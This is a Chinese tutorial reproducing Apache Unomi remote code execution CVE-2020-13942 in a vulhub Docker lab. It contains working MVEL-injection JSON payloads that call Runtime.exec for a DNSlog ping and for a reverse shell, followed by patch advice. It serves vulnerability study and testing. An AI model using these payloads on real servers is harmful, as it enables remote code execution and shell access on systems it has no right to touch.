千家信息网

怎么实现Apache Unomi 远程代码执行漏洞CVE-2020-13942复现

发表于:2024-12-12 作者:千家信息网编辑
千家信息网最后更新 2024年12月12日,怎么实现Apache Unomi 远程代码执行漏洞CVE-2020-13942复现,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。0x00
千家信息网最后更新 2024年12月12日怎么实现Apache Unomi 远程代码执行漏洞CVE-2020-13942复现

怎么实现Apache Unomi 远程代码执行漏洞CVE-2020-13942复现,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

0x00简介

Apache Unomi 是一个基于标准的客户/数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和"不跟踪"偏好设置。其最初于 Jahia 开发,2015 年 10 月提交给了 Apache 孵化器。

Apache Unomi 具有隐私管理、用户/事件/目标跟踪、报告、访客资料管理、细分、角色、A/B 测试等功能,它可以作为:

Ø Web CMS 个性化服务

Ø 原生移动应用的分析服务

Ø 具有分段功能的集中配置文件管理系统

Ø 授权管理中心

0x01漏洞概述

在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。

0x02影响版本

Apache Unomi < 1.5.2

0x03环境搭建

1、本次环境搭建使用vulhub中的docker环境搭建,下载地址

https://github.com/vulhub/vulhub

2、然后使用vulhub中unomi目录下CVE-2020-13942漏洞为本次漏洞复现环境

cd vulhub/unomi/CVE-2020-13942/

3、使用以下命令启动漏洞环境

docker-compose up -d

4、看到下方显示绿色字体的done表明启动成功,在浏览器访问http://your-ip:8181出现以下界面表示成功

0x04漏洞复现

1、 打开靶场首页,使用burp进行抓包,发送到Repeater模块构造数据包

2、将GET包改为POST,删除多余的字段,保留Host、User-Agent和Content-Length字段,然后添加以下数据,在dnslog添加成自己的地址,然后发送

{"filters": [{"id": "boom","filters": [{"condition": {"parameterValues": {"": "script::Runtime r = Runtime.getRuntime(); r.exec('ping DNSlog');"},"type": "profilePropertyCondition"}}]}],"sessionId": "boom"}

3、在dnslog网站上刷新查看是否有数据,可以看到有数据

4、利用此漏洞反弹shell,将bash反弹shell的命令进行编码,编码网址为:http://www.jackson-t.ca/runtime-exec-payloads.html

5、将编码后的shell添加到以下代码中的shell编码处,kali设置监听,然后发送。

{"filters": [{"id": "boom","filters": [{"condition": {"parameterValues": {"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"shell编码\");"},"type": "profilePropertyCondition"}}]}],"sessionId": "boom"}

6、在kali上查看shell成功返回。

0x05修复建议

1、尽可能避免将用户数据放入表达式解释器中。

2、目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。

看完上述内容,你们掌握怎么实现Apache Unomi 远程代码执行漏洞CVE-2020-13942复现的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

0